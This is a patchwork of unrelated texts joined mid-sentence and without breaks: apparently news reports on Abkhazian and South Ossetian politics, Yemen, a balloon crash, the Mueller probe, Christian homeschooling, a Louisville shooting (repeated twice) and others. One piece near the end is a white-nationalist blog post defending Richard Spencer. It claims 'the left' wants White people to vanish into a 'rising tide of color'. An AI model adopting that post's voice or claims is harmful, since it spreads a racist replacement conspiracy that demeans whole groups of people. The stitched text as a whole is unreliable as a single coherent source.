support for Ankvab, triggering the resignation of many of its members. United Abkhazia joined one month later with the FNEA, the People's Party of Abkhazia, the centrist Economic Development Party (PERA), and five other political organizations in a Coordinating Council with the shared objective of "jointly drafting a political platform aimed at overcoming the crisis in society and creating conditions for implementing political and economic reforms," conducting a dialogue with the authorities, defending citizens' constitutional rights, and strengthening statehood. Two more political organizations representing Abkhazia's Russian minority have since joined the Coordinating Council, which has launched a series of meetings across the region in a bid to rally popular support. It plans to submit to parliament draft constitutional amendments redistributing powers and prerogatives between the executive and legislative branches. Moscow has apparently decided to support the embattled Abkhaz leadership -- at least for now. Russian Presidential Envoy to the North Caucasus Federal District Aleksandr Khloponin traveled to Sukhumi last month to meet with Ankvab. Khloponin expressed admiration for the "huge amount of reconstruction work" carried out. He promised that Moscow would provide the Abkhaz government with a further 1.1 billion rubles ($33.3 million) before the end of this year within the framework of the three-year investment program funded by the Ministry of Regional Development. Then on August 15, Ankvab met in Sochi with Russian President Vladimir Putin to discuss emergency aid for those regions of Abkhazia worst hit by torrential rains in recent weeks. Putin paid a one-day visit to Abkhazia on August 25. In contrast to Abkhazia, little has been accomplished in South Ossetia in the way of postconflict reconstruction. Most of the total 27.3 billion rubles allocated in 2008-11 has vanished without trace; political commentators hypothesized that the public feud in 2010 between then de facto President Eduard Kokoity and Vadim Brovtsev, the Chelyabinsk businessman named in August 2009 by Russian President Dmitry Medvedev as prime minister, was in fact a struggle for control of those funds. Following the election in April 2012 of Leonid Tibilov as Kokoity's successor, South Ossetia's new prosecutor-general, Merab Chigoyev, has opened up to 70 criminal investigations, some involving former government officials; Interpol has been asked to issue international arrest warrants for nine people, including three former South Ossetian government ministers, but Brovtsev and his team are not among them. Russia's Audit Chamber conducted an investigation of how the money was embezzled, after which funding for the current year was scaled back (to 4.25 billion rubles, compared with 6.4 billion in 2011 and 5.5 billion in 2012) and responsibility for disbursing and coordinating the use of Russian subsidies to South Ossetia was transferred from the Ministry of Regional Development to one of its subsidiary agencies. Tibilov's election also marked the start of a gradual political liberalization. Eight new political parties have been registered since his inauguration in April 2012, including Nauag Iryston (New Ossetia), headed by David Sanakoyev, whom Tibilov defeated in the presidential runoff. True to his pledge to create a government of national unity, Tibilov appointed Sanakoyev de facto foreign minister and Alla Djioyeva, whose victory in the November 2011 presidential election was annulled by the Supreme Court, a deputy premier. In his annual address to parliament in April, however, Tibilov admitted that South Ossetian society remains profoundly divided. He also conceded that the anger of those families who have still not been allocated new housing to replace homes destroyed during the August 2008 war is justified. Within months of his inauguration, Tibilov was subjected to a barrage of media criticism that some analysts attributed to Brovtsev. Others suspected Kokoity, whose calls in September 2012 at a meeting of his Unity party for the consolidation of society Tibilov's entourage construed as a veiled demand for the post of premier. Kokoity has since quit the Unity party but has also made clear his intention to remain in politics: In an interview pegged to the fifth anniversary of the start of the August 2008 war, he sought to portray himself as the savior both of the South Ossetian people and the region's self-proclaimed independence from Georgia. Yevgeny Krutikov, a former aide to the commander of South Ossetia's National Guard, has predicted that Kokoity will systematically try to win back the support of both the South Ossetian electorate and the Kremlin in the run-up to the parliamentary elections due in April 2014 and create a new political party to compete in that ballot. The parliamentary election campaign is likely to focus on two interrelated issues: rebuilding the region's economy and its future relations with Russia. South Ossetia has a population of approximately 20,000, compared with Abkhazia's 240,000, and few natural resources apart from timber. The region imports virtually all its food from Russia, at inflated prices. It is the lack of a functioning economy that has led many to conclude that becoming part of the Russian Federation, whether as an independent federation subject or by united with North Ossetia, is the only hope for the future. Tibilov's pronouncements on the issue have been inconsistent. He told journalists last month that if South and North Ossetia unite within the Russian Federation during his presidency, he would consider his life's mission fulfilled. But that decision does not lie with South Ossetia alone, and as Krutikov points out, successive Russian presidents have stressed repeatedly that recognition of South Ossetia and Abkhazia is nonnegotiable and irreversible.Doc Rivers told reporters Friday in Los Angeles that there was "no real update" on Glen Davis' status, and that he's officially questionable for Game 7. Baby rolled his ankle early in the fourth quarter while spelling Blake Griffin, and had to be taken to the locker room in a wheelchair. He didn't appear to be able to put any weight on his ankle after turning it. He's been diagnosed with a lower left ankle sprain. This seems worse than an ankle sprain. Big Baby won’t return to tonight’s game. http://t.co/IEdANNF9ed pic.twitter.com/IN38vbIm2t — SB Nation NBA (@SBNationNBA) May 1, 2015 Baby has played essentially all of the big man minutes off the bench in the playoffs so far. If he's out for Game 7, going small with Hedo Turkoglu is an option. That, or trusting Spencer Hawes to do what he was hired to do. Back in 2008, Big Baby witnessed Paul Pierce's miracle injury recovery first-hand, and that Doc Rivers-coached team went on to win the championship. Perhaps this is how ubuntu works?WASHINGTON (Reuters) - The United States has pulled more staff out of its embassy in Yemen, U.S. officials said on Thursday as Washington scrambled to cope with the collapse of a government that had been a key ally in the fight against al Qaeda. A general view of the U.S. embassy compound in Sanaa May 8, 2014. REUTERS/Mohamed al-Sayaghi The scaling down of its presence in Yemen is the first sign that the latest turmoil there will affect U.S operations in a country that President Barack Obama hailed just four months ago as a model for “successful” counter-terrorism partnerships. The U.S. diplomatic contingent in Sanaa was drawn down due to the deteriorating security situation in the Yemeni capital, the officials said. They insisted there were no plans to close the embassy, which could been seen as erosion of U.S. resolve in counter-terrorism operations in the volatile Arab country. However, current and former U.S. officials say the chaos engulfing Yemen has already threatened the administration’s strategy against a powerful local al Qaeda branch. Word of the withdrawal of more U.S. personnel came on the day that Yemeni President Abd-Rabbu Mansour Hadi stepped down, throwing the country deeper into chaos days after Iran-backed Houthi rebels battled their way into his presidential palace. The crisis marks another setback for U.S. Middle East policy when Obama is already struggling with unsteady partners in a campaign against Islamic State militants who have seized swathes of Iraq and Syria. At the same time, Washington seeks to limit Iranian influence in the region. The Obama administration was caught off guard by the resignation of Hadi, who had backed American strikes against al Qaeda militants. During Obama’s six years in office, U.S. drones have killed hundreds of militants but also dozens of civilians in Yemen, which has stoked public anger in the country. “We are still assessing the implications,” White House spokesman Josh Earnest told reporters aboard Air Force One. The State Department had already reduced staff at the embassy in recent months to essential personnel, mostly related to security matters, as the fighters from the Shi’ite Houthi minority seized control of the capital. “While the Embassy remains open and is continuing to operate, we may continue to re-align resources based on the situation on the ground,” a senior State Department official told Reuters. “We will continue to operate as normal, albeit with reduced staff.” INCREASING ALARM IN WASHINGTON U.S. officials had hoped that Hadi’s announcement on Wednesday that he was ready to make concessions to the Houthi movement would calm the situation but that prospect fell apart just a day later. Washington is concerned that the chaos in Yemen could create conditions that al Qaeda in the Arabian Peninsula (AQAP) will exploit to strengthen its base of support there and use the country to plot attacks on Western interests. AQAP claimed responsibility for deadly attacks in Paris early this month. The events in Yemen will “absolutely” limit U.S. drone strikes and counter-terrorism operations in the country in the short-term, a former senior U.S. official said. The official added that if the Houthis ends up in full control of the government they will demand a halt to the drone campaign. “They hate al Qaeda,” said the official, referring to the Houthis. “But they also hate the United States.” Some U.S. officials believe that while the Houthis are determined to wield more power in Yemen the movement may not want to assume responsibility for actually governing the divided, impoverished country. But overall the Obama administration appears to have few contacts with the Houthis and remains concerned that their emergence as the country’s main powerbrokers will mean greater influence for Shi’ite Iran in Yemen’s affairs, a prospect that also worries neighboring Sunni power Saudi Arabia. U.S. officials say Iran has backed the Houthi rebellion with financial and political support and that shipments of Iranian weapons have also been found destined for the group. Senator John McCain, chairman of the Armed Services Committee and a frequent Obama critic, said events in Yemen reflected misguided U.S. policy and called for a full evacuation of the embassy there. Obama’s earlier hailing of Yemen as a counter-terrorism success, he added, showed the president “is either delusional or misinformed.” Slideshow (3 Images) The crisis poses another major challenge to Obama’s efforts to close the U.S. military prison at Guantanamo Bay, Cuba. A U.S. official said Washington had no intention of repatriating any of the nearly four dozen Yemeni detainees already approved for transfer from the internationally condemned jail while the security situation remains unstable in Yemen. Obama lifted an moratorium on sending Yemenis home nearly two years ago and has no plans to reinstate it, the official said. But he has yet to send a single Yemeni home from Guantanamo since ending the ban, instead transferring a handful for resettlement in other countries.The Egyptian balloon crash that killed 19 tourists – the worst ballooning accident since the Hindenburg disaster – was “inevitable”, according to a British pilot, who says last week’s incident is “the tip of the iceberg”. His warnings come as an investigation by The Independent on Sunday establishes that British pilots are refusing to work in Egypt and Turkey because of safety fears. The sport was suspended in Egypt in 2009 after a previous accident, in which 16 people were injured, and safety measures were strengthened, including the introduction of a limit of eight balloons being allowed to fly at once. The same year, a Briton was killed in an accident in Cappadocia, central Turkey, but the sport has grown unchecked ever since, and more than 120 balloons operate every day. One pilot, who runs a ballooning business in the UK, told the IoS how he cut short a contract in Turkey after being forced to fly despite bad weather. “I left after 4 months because I was involved in an accident and was concerned about the disregard for safety procedures. I counted 123 balloons in the air at once. I was flown into several times by young and inexperienced pilots, sometimes even before take-off.” We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. Speaking on condition of anonymity, he described how he was forced to fly even when there was a storm 7km away, and was expected to use faulty equipment. “It’s a multi-million dollar business, and they are putting profit before safety,” he said. “One balloon I flew had only one working helium canister out of four. The others were leaking. The problem in Turkey is that the owners of these companies carry firearms, because they carry a lot of cash. If you don’t fly, you are threatened. When one pilot said it was too breezy, the operator got out a pistol and fired shots in the air to intimidate him. He came back to Britain as soon as he could. We don’t want to fly there because the safety risks aren’t worth it.” He claims there are “almost daily” incidents in Turkey, and says the scale of the danger has gone largely unreported because of cover-ups and fear of reprisals by whistleblowers. “There’s no real appreciation for weather conditions,” he said. “I had one really uncomfortable flight which, when we landed, it was raining. If there’s a storm, you go home. But that’s not how it works here.” Despite improved safety measures in Egypt, one expert warned pilots are not sufficiently well-trained. Pilot-error is the biggest cause of balloon accidents, and was responsible for the two accidents with the highest fatalities in recent history, including a crash in New Zealand last year, in which 11 people died. Phil Dunnington, Chair of the British Balloon and Airship Club, last week called the training of Egyptian pilots “very weak”. He said authorities did not regularly assess local pilots’ skills, and that examiners were often not balloon experts. The balloon which crashed was involved in another accident only two years ago. Tourists watched in horror as the green Ultramagic balloon, belonging to Sky Cruises, dipped into the Nile and hit a boat. No one was killed, but passengers were left with bruises. The 19 victims of Tuesday’s accident included Britons Yvonne Rennie, 48, Joe Bampton, 40, and Mr Bampton’s Hungarian-born partner, Suzanna Gyetvai, 34. On Friday, Rennie’s husband, Michael, 49, was released from hospital in Luxor, where the pilot, Momin Mourad Ali, is being treated for burns and injuries. Investigators have yet to establish the cause of the crash, though it’s thought the balloon was landing when a cable got caught round helium canister, and a fire broke out. Though ballooning is tightly regulated in the UK, statistics on the accident rate are hard to come by. According to the Civil Aviation Authority, there have been 48 balloon accidents in the UK in the last 10 years, with two fatalities in that period. Figures compiled by the Federal Aviation Administration in the USA show that, ballooning is twice as dangerous as flying in a plane. There’s an average of 12 accidents per 100,000 flying hours, compared to six for general aviation. The rate of injury in skydiving is even lower: 0.3 injuries per 100,000 jumps. Mr Pogmore, who campaigns for improved safety in the ballooning industry, has called for an international training syllabus to be drawn up. “It’s time the balloon community came together. We should create an international organisation that puts together training syllabus and overseas testing. This should run side-by-side with the local civil aviation authority, as it is the CAA that issues licences. It should be mandatory for periodical refresher courses and if necessary retesting of written exams. The pilot involved in the New Zealand accident had smoked cannabis prior to the flight. I would support the implementation of random and periodical drug testing as well as random breathalysers on all pilots. Unless those in charge act, customers will desert this industry.” We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe nowWhile weeks of steady leaks about the Justice Department’s Russia probe revealed that special prosecutor Robert Mueller is zeroing in on Paul Manafort, Donald Trump’s former campaign chairman, and Michael Flynn, his erstwhile national security adviser, two new reports suggest that the former F.B.I. director has begun to train his focus on the president himself. On Wednesday, The Washington Post and The New York Times reported that Mueller has requested an extensive volume of documents related to a series of actions Trump has taken since assuming office as part of his broader investigation into whether the Trump campaign colluded with the Russian government during the 2016 election and if he obstructed justice in the firing of James Comey as F.B.I. director. Mueller is seeking internal communications and documents related to 13 areas that prosecutors have identified as crucial, particularly those related to the firing of Flynn and Comey, according to both the Post and Times. His team has requested any documents related to Flynn’s interview with the F.B.I. earlier this year; his communications with Russian ambassador Sergey Kislyak; and then acting Deputy Attorney General Sally Yates’s meeting with White House counsel Donald McGahn about Flynn and Flynn’s subsequent firing. Similarly, the F.B.I. is seeking any documents related to meetings between Comey and Trump while the former served as F.B.I. director and any discussions about his subsequent dismissal, including those tied to the White House’s initial statements justifying his ouster. Additionally, Mueller has requested any internal communications or documents about Manafort; Donald Trump Jr.’s now infamous meeting with a Russian lawyer last June in Trump Tower; and the president’s Oval Office meeting with Russian Foreign Minister Sergey Lavrov the day after he dismissed Comey. “The White House doesn’t comment on any communications between the White House and the Office of Special Counsel out of respect for the Office of Special Counsel and its process,” White House lawyer Ty Cobb said in a statement to the Post. “We are committed to cooperating fully. Beyond that I can’t comment.” Mueller’s new focus on the White House indicates that his investigation continues to accelerate. News of the documents request came hours before the Post reported that that on July 7 of last year—less than two weeks before Trump accepted the Republican nomination—Manafort is believed to have offered a Russian oligarch closely aligned with the Kremlin, Oleg Deripaska private briefings of the presidential race through an intermediary. (Jason Maloni, a spokesperson for Manafort, dismissed the e-mail as “innocuous.” Manafort has repeatedly denied any wrongdoing.)Illustration by Rose Wong Elizabeth Joy Burger had still never heard the term vagina when she got her first period at age 11. "I just lumped it all in as 'privates' or'my bottom,'" she tells me over Skype from her bedroom in Atlanta, Georgia. "I didn't have words for it." Raised in a large, conservative Christian family and homeschooled all her life, Burger's sex-ed curriculum resembled that of many fundamentalist Christian homeschool households: vague, cursory, nearly non-existent. "Until I was 11, I didn't even know guys had different anatomy to girls," she says. "I knew nothing at all." A week after she got her first period, Burger and her younger sister Ruth sat down with their mother for a sex talk. "She didn't say penis, she didn't say vagina, she didn't say any of the words. It was just like, guy body part fits into girl body part, and she was really awkward about it. It was really short and didn't explain anything," she says. "After that conversation, I was still really confused." Read more: The Journey Out: Women Who Escaped a Polygamist Mormon Cult Share Their Story Due to a lack of government oversight, it is difficult to estimate how many children in the United States are being homeschooled. Further, because, in many states, parents of homeschooled kids are not required to follow any curricula in particular, nor to submit test scores or progress reports to a supervising body of any kind, nor to even hold high school diplomas themselves, there is among the homeschooling contingent an overwhelming problem of educational neglect. Though proponents of homeschooling in this country like to point to high test scores to support their cause, such evidence of success is specious; when you consider the fact that fans of homeschooling will be motivated to report only high scores––and only parents who are already organized enough to test and report their kids' scores will do so––it's easy to see how the so-called statistics are really quite meaningless. "If a child's scores aren't good, and their parent cares about homeschool advocacy, they aren't going to send in that kids' scores," says Rachel Coleman, a homeschool graduate herself who founded the Coalition for Responsible Home Education (CRHE) in 2013 to advocate for homeschooled children and "raise awareness of the need for homeschooling reform, provide public policy guidance, and advocate for responsible home education practices." A few years ago, Coleman and other homeschool alumni were talking about the lack of organizations advocating specifically on behalf of homeschooled children; most of the related organizations exist for homeschool parents. "A lot of the bills, when they come up in the legislature, it's about what's most convenient for the parents," she says. "It's not about what's best for the kids." CRHE, whose board is made up entirely of homeschool alumni, is interested in representing the best interests of the homeschooled children. "Something like 10 percent of homeschooled children do not have a parent with a high school diploma," she tells me. "But these [self-reported] studies, of course—it's almost all parents with bachelor's degrees [who report], and then they compare [those scores] to the average public school score, which also makes no sense." All of it, Coleman says, is propaganda to preserve the parents' right to educate their children however they wish, without recourse. You have to keep your kids completely in this controlled environment, and you don't let them out. Beyond educational neglect, homeschooled children are also at greater risk of dying from physical abuse than traditionally schooled children, Coleman says. Though alarming, this grim truth is not all so surprising: When a child who is being physically abused at home has no interaction with anyone outside of his or her family––no teachers, non-family peers, or coaches––who will notice and report the abuse? According to homeschool alumnae interviewed, Christian, faith-based homeschooling compounds the problem of educational neglect by introducing dogmatic and restrictive attitudes toward gender and human sexuality: Often, they say, women raised in fundamentalist Christian homeschooling families across the country are taught to consider their bodies as both their greatest vulnerability and their only asset. Twenty-year-old Claire* grew up in semi-rural Georgia, in a similar situation to Burger. "We were Southern Baptist through and through," says Claire, whose pastor touted abortion as being one of the most major evils of our time (the other being homosexuality). Until her junior year of high school, she received a decidedly religious homeschool education, using print materials and CDs from a hodge-podge of Christian curriculums, including one called Alpha Omega. "There was one lesson on reproduction in humans," Claire remembers. Claire's sex ed curriculum, like Burger's, was rudimentary and faith-based. "There were no diagrams of the vulva or the penis, and certainly [it was] abstinence-only," she says. "I don't think that it mentioned birth control at all." Read more: Photos of Forbidden Female Catholic Priests and Feminist Spirituality Allison*, 26, describes a similar situation. When she was a young child, Allison remembers her mother becoming increasingly conservative and enamored of the fundamentalist lifestyle. When she and her brothers were of school age, her mother began to homeschool them. "The only thing I was told about birth control was that it causes you to have abortions," she recalls. By 18, she was desperate to leave home and go to college, but her parents wouldn't allow it. "My parents believed super strongly that girls should live at home until they get married," she says. In the fundamentalist world of the Christian Patriarchy Movement, these are called "stay-at-home daughters" (SAHD). Stay-at-home daughters train alongside their mothers and sisters, keeping house under their father's supervision, until they are married and have a husband and home of their own to tend to. "I had planned, like, 87 ways to escape," she says. "Instead, what I ended up doing was: I married my pastor's eldest son, and we left fundamentalism together." Knowing nothing about birth control, Allison and her husband had welcomed their first child into the world before even celebrating their first wedding anniversary. Though Elizabeth Burger, Claire, and Allison were raised in different parts of the country and educated using a wide array of Christian homeschooling curricula, their stories reveal an important through-line: Girls raised in Christian homeschool households are being deprived of adequate and essential sexual education, growing up isolated from and at odds with their own bodies. "I call it 'the box,'" says Burger. "It's a term a lot of us who have left fundamentalism call fundamentalism. Sort of like the Rapunzel story, that ideology of, 'You have to keep your kids completely in this controlled environment, and you don't let them out.' It's really messed up." Jim Bob and Michelle Duggar, from TLC's "19 Kids and Counting." Photo via Wikimedia Commons One of the more prominent and controversial Christian homeschooling curricula in use today is the Advanced Training Institute (ATI), an arm of a nonsectarian conservative ministry organization called the Institute for Basic Life Principles (IBLP), founded in the early 1960s by a man named Bill Gothard. IBLP-ATI families practice modesty in all aspects of life, from the way they dress––button-up collared shirts and slacks for men and boys, long skirts and arm- and chest-covering tops for women and girls––to the way they interact with membes of the opposite sex: side hugs only, lest a fully developed female chest inspire lustful thoughts in your brothers in Christ. The most famous proponents of this conservative curriculum are the Duggar family, of TLC's reality docu-series 19 Kids and Counting. Last summer, when news broke that eldest son Josh Duggar had, as a teenager, molested four of his younger sisters and a babysitter, fans of the family's wholesome, conservative Christian program were shaken. Advertisers and sponsors swiftly cut ties with the TLC program, including General Mills, Choice Hotels, and Payless Shoe Source. Soon after, TLC pulled the profitable show from its programming lineup and released a statement about their decision not to move forward with the 19 Kids series; instead, they would film specials with the sisters, and "other survivors and families that have been affected by abuse." Ostensibly in an effort to regain control of the conversation, sisters Jill and Jessa Duggar sat down with FOX News anchor Megyn Kellyto explain that they had forgiven their brother. "Did you get the chance to express that anger to him? Did you fight?" asks Kelly, at one point. "No," the sisters say, laughing, as if that would be a ridiculous way to behave in this context. If I'm wearing tight jeans or a low-cut shirt, that could cause other men to lust after me, and that's disrespectful to my husband. To many, the content of their interview sounded sadly more like a naive perpetuation of their own victimization. "Our situation is very different from most girls'," said Jessa Duggar. "He was very subtle... he was very sly, the girls didn't catch on." It wasn't a horror story, she said, because they, as children, did not know that they were being molested by their brother, both awake and in their sleep. For those who didn't grow up in a conservative Christian household, the Duggar family's response––both years ago at the time of the crime, and last summer in the media coverage––was shocking. But for many young women who grew up in fundamentalist Christian homes, Josh Duggar's actions, and the family's attitudes towards him and his victims, are far from surprising. "Bill Gothard's teachings center on victim blaming," says Carmen Green, a Christian homeschooling alum who now works as a lawyer at Americans United for the Separation of Church and State."If you are a victim of abuse, there is a part of Gothard's teaching that asks the abuse victim, What was the sin in your life to bring this on?" Never married and childless, Gothard, now 81, has himself been accused by no fewer than 18 women of sexual abuse and harassment while employed by or studying under IBLP-ATI. The number of accusers, at last count, hovered around 30 individuals, including both men and women. The 200+ page amended legal complaint describes a sickening pattern of victim grooming perpetuated by Gothard, including allowing his victims use of his credit card, bringing them along on his travels, lavishing praise and confessions of love and affection, and repeated inappropriate sexual touching of the very young girls placed in his care as a spiritual leader, counselor, and authority figure. "It's very difficult for that community to conceive of the woman as not being at fault," says Green. "There is so much burden placed on women not to ever tempt the men around them." Even when that woman is still just a little girl. To an outsider, that logic may sound extreme––and extremely unfair. However, to those who practice Christian fundamentalism, it is simply a matter of obeying God's wishes. The Duggar family. Screengrab via Fox News Shelly Paulsen, 23, goes by the online moniker @quiverfullmommy and vlogs on YouTube about life as a young Christian mother of three homeschooled kids in Oshkosh, Wisconsin. Paulsen didn't grow up in Christian fundamentalism, but rather was born again as a teen. The term "quiverfull" is a reference to a Bible passage many fundamentalist Christians hold dear, Psalm 127:3-5: "Like arrows in the hands of a warrior are children born in one's youth. Blessed is the man whose quiver is full of them." "At its core, [the Quiverfull ideology] is not abusive, but it's very strict," Paulsen says. Followers of the Quiverfull movement, including the Duggar family and their TV friends the Bates, famously abstain from contraception in order to have as many children as is biologically possible—their quivers are full. "We believe that people are blessed through having children, which is what the Bible verse says," Paulsen tells me. She and her husband, a carpenter, are open to letting the Lord decide how many children they have––as many as the family's finances and Paulsen's health will allow. They currently have three. Practitioners of the Quiverfull movement also stress strict female modesty as a means of deterring male sexual advances. Paulsen, for instance, has dedicated not just her heart but her body to the Lord by wearing skirts full time. "Skirt-wearing," as she calls it, "is to prevent others from stumbling in their faith." "If I'm wearing tight jeans or a low-cut shirt, that could cause other men to lust after me, and that's disrespectful to my husband," she says. Independent research led her to a portion of the Old Testament that describes wearing clothing cut above the knee as equal to nakedness. She's pretty strict in her faith, she adds. Women need to not tempt men; women need to please their man. I ask Paulsen if she thinks it's an unfair burden placed on women that they are, in effect, responsible for men's actions. "I don't think men are mindless drones. However: We all know that women are much more love- and romance-driven, and men are more visual; that's just how we are," Paulsen tells me. "If I can prevent him from looking at me by dressing in a way that's not drawing excessive attention to myself, than I feel that that's helpful and obeying what God wants for me." The restrictive attitude toward gender roles and gender presentation that Paulsen describes as being central to her life as a godly wife is the same
my last lecture I shall return again to the relations of pragmatism with religion. But you see already how democratic she is. Her manners are as various and flexible, her resources as rich and endless, and her conclusions as friendly as those of mother nature. Further Reading: Biography \| How to Make our Ideas Clear, Charles Sanders Peirce \| The Logic of Modern Physics, Percy Bridgman \| Emile Durkheim on Pragmatism \| Philosophy's Search for the Immutable, DeweyLouisville police are investigating after two people were shot and killed Sunday afternoon. The shooting happened at 4:50 p.m. in the 1800 block of Oregon Avenue. At this time, police said they believed the shooting to be a murder-suicide. They said the victims were a man and a woman. Police said the pair were dating and have a child together. "Upon further investigation, this appears to be a murder-suicide. Again, we have two persons dead. They appear to have been boyfriend and girlfriend. They do have a child together and the Louisville Police Homicide Unit is investigating," said LMPD spokesperson Dwight Mitchell. Police said a child was at the home during the time of the shooting. That child was unharmed. The identities of the victims have not been released. The shooting is under investigation. Louisville police are investigating after two people were shot and killed Sunday afternoon. The shooting happened at 4:50 p.m. in the 1800 block of Oregon Avenue. Advertisement At this time, police said they believed the shooting to be a murder-suicide. They said the victims were a man and a woman. Police said the pair were dating and have a child together. "Upon further investigation, this appears to be a murder-suicide. Again, we have two persons dead. They appear to have been boyfriend and girlfriend. They do have a child together and the Louisville Police Homicide Unit is investigating," said LMPD spokesperson Dwight Mitchell. Police said a child was at the home during the time of the shooting. That child was unharmed. The identities of the victims have not been released. The shooting is under investigation. AlertMeNEW YORK (Reuters) - Former President Bill Clinton said he “could have killed” Osama bin Laden in remarks to an audience in Australia the day before al Qaeda’s 2001 attacks on the United States, according to an audio tape that emerged this week. Former U.S. President Bill Clinton gives a keynote address at a conference on "inclusive capitalism" organised by the City of London, in London May 27, 2014. REUTERS/Anna Gordon/Financial Times Live/Conference on Inclusive Capitalism/Pool Clinton and officials from his administration have expressed similar sentiments both before and after the Sept. 11 attacks that killed more than 3,000 people but the recording appears to have attracted attention because he was speaking less than 36 hours before al Qaeda hijackers would board four airliners for attacks on the World Trade Center and Pentagon. On the tape Clinton said he declined to pursue one opportunity to kill bin Laden in Afghanistan because it would have risked killing hundreds of civilians. “And I’m just saying, you know, if I were Osama bin Laden -he’s a very smart guy. I spent a lot of time thinking about him. And I nearly got him once,” Clinton can be heard saying as people in the audience laugh. “I nearly got him,” Clinton continues. “And I could have killed him but I would have had to destroy a little town called Kandahar in Afghanistan and killed 300 innocent women and children and then I would have been no better than him. And so I didn’t do it.” The recording was made with Clinton’s knowledge by Michael Kroger, the former head of Australia’s Liberal Party, at a speaking engagement in Melbourne on Sept. 10, 2001, Kroger told Australia’s Sky News, which broadcast the 30-second excerpt. Kroger told Sky News he only recently recalled he had the recording. The 9/11 Commission Report recounts an episode in December 1998 where Clinton’s administration considered a cruise missile strike to kill bin Laden, the Saudi Arabian founder of al Qaeda, after learning he would be in Kandahar. The strike was not launched because of a fear that perhaps 300 other people could be killed or injured, the report says. Clinton left office about nine months before the Sept. 11 attacks but had focused on Bin Laden as the mastermind of the bombings of U.S. embassies in Tanzania and Kenya in 1998 that killed more than 200 people. A U.S. special forces military team killed bin Laden in a 2011 raid in Pakistan.This is a photo of Brett Olson from the Facebook page set up in hopes of finding him. A Lafayette family is holding out hope that their loved one will be found after going missing while tubing down the Sacramento River over the holiday weekend. Brett Michael Olson is a student at Cal Poly-San Luis Obispo. He was last seen about 1 p.m. Sunday when he arrived at Beer Can Beach near Chico for a float down the river with a group of friends. Olson was in Chico for the holiday weekend visiting Chico State friends. Olson's parents handed out hundreds of fliers Tuesday. They were joined by more family and friends on Wednesday as they waited for word as search crews looked for Olson further down the river. A Facebook page "Let's Bring Brett home", had more than 30,000 members by Wednesday afternoon.Well, of course England has always been ‘multilingual’ if it was ‘always multiracial’ as the true-believing multicultist academics assert. In fact the blogger who wrote the article quoted at the link claims that all of the British Isles were ‘multilingual’, always. And the blogger, who is a British academic, boasts of how many re-tweets she got when she tweeted this assertion (to rebut the contrary claims of a Brexit supporter). She says she got over 600 retweets and ‘1,500 likes’. How many of those likes and re-tweets were from immigrants? Probably a majority, and the rest were true-believing multicultis, many of them probably fellow academics, maybe colleagues of hers. The blogger (whom I will not link) also disparages Richard Spenser, calling him a ‘White supremacist’ and alludes to others of like mind, and presumably Spencer himself, as a ‘racist’. I am certain she would include me in that category as well; anybody who actually believes England and the British Isles to have been historically White is called a “racist” by the left. Stating that simple fact is prima facie evidence of ”racism” in their (bigoted) book. Spencer’s tweet: The blogger claims it isn’t clear which ‘invasion of the British Isles’ Spencer is talking about. Actually, Ms Academic, he says his ancestors ‘conquered England’ not ‘invaded the British Isles.‘ Rather an important distinction there. I thought precision and accuracy were important to scholars, but apparently not these days, or not when scoring points against vile racists. Sloppy use of language there, Madame Professor. England is not identical with Britain, nor is England interchangeable with ‘the British Isles’. Invading is not conquering. Apparently Spenser is implying he is a descendant of the Normans who conquered England in 1066. His surname would imply that anyway; the name Spencer is from the Norman ‘De Spencer’ or ‘Le Despenser’, surnames which figure prominently at certain points in English history. Lots of descendants of that Norman family live here in the U.S., at least judging from the commonness of that surname. So Richard Spencer is saying that he is a descendant of Normans and that people like him belong more truly to England than the current tide of immigrants and ‘refugees’ who are making Britain (not just England) a multiracial, multilingual, true Tower of Babel. As for Richard Spencer himself, I’m ambivalent about him. Is he, as some say, an ‘operative’, a plant, or otherwise not to be trusted? A self-promoter? I don’t know. However, this universal leftist practice of calling anyone who is not an anti-White leftist a ”white supremacist” and ”racist” is wrong. I would think that a professor, an academic and ”scholar” should use language with precision, and use words accurately. This rhetoric of calling ideological enemies ‘racists’ and ‘supremacists’ is either carelessness with words, or it is malicious misuse of words, using them as weapons. But then the word ‘racist’ was invented by leftists in the late 1930s for precisely that purpose: to discredit people who held traditional attitudes about their race and people, to criminalize or ”demonize” normal bonds between kinsmen. Being patriotic and loyal to one’s own folk or race is not ‘supremacist’; if so, most of the world’s normal people are ‘supremacists’ of their own race, and ”racists” to boot. There should be a term for people who want ‘people of color’ to dominate the planet; what should they be called? Because make no mistake, the left wants to ensure that White people dwindle in numbers to the point of insignificance, or to see that they become mixed to the point of disappearing into the ‘rising tide of color’ as Lothrop Stoddard, I think, termed the growing numbers of nonwhites. The blogger and her kind are people ”without natural affections”, to use a phrase from the Bible, without normal emotional ties to their own kind, and especially without loyalties to their living folk and their ancestors. Their progeny will, if they have their way, will either be absorbed into the nonwhite population, and probably have no knowledge of their White ancestry, or they will live as miserable outcastes in a majority-nonwhite world. As for the rest of the blogger’s piece, it’s the usual academic twaddle meant to promote the globalist/leftist agenda and narrative, and to discredit anyone who is a ‘linguistic nationalist’, because being a nationalist in any way may indicate that the target is guilty of being an ethnopatriot.Harlon B. Carter, who became the nation's foremost opponent of gun controls in leading the National Rifle Association to its greatest expansion in membership and political influence, died Tuesday at his home in rural Green Valley, Ariz. He was 78 years old and died of lung cancer, his family said. In his tenure from 1977 to 1985 as executive vice president, the rifle association's chief operating position, the group's membership more than tripled, to three million, and its annual budget multiplied severalfold, to $66 million. The organization's influence with elected officials also soared, to the dismay of gun control advocates. The association promotes a right to own and use firearms for protection, sport and hunting. Mr. Carter, adamant against restrictions, once testified before Congress that the misuse of guns was "a price we pay for freedom." N.R.A.'s 'Fiercest Warrior' Nelson T. Shields, a founder of an opposing organization, Handgun Control Inc., once called Mr. Carter "Mr. N.R.A." And yesterday Wayne R. LaPierre, the rifle association's current chief officer, said Mr. Carter "was our champion and fiercest warrior." Advertisement Continue reading the main story Mr. Carter held 44 national shooting records with pistol, military rifle and small-bore rifle. He was one of 53 civilians who have received a special Army award for marksmanship.Review of A Renegade History of the United States American progressives have struggled, since the rise of the New Left in the 1970s, to recruit blue collar and minority Americans to their organizations. Some middle class organizers are sensitive to the difficulty progressives have in bridging the cultural gap to blue collar and minority communities. Their efforts are informed by sociological and journalistic attempts to identify and describe working class culture. Some of the better known works include Richard Sennett’s Hidden Injuries of Class (1972), Lillian 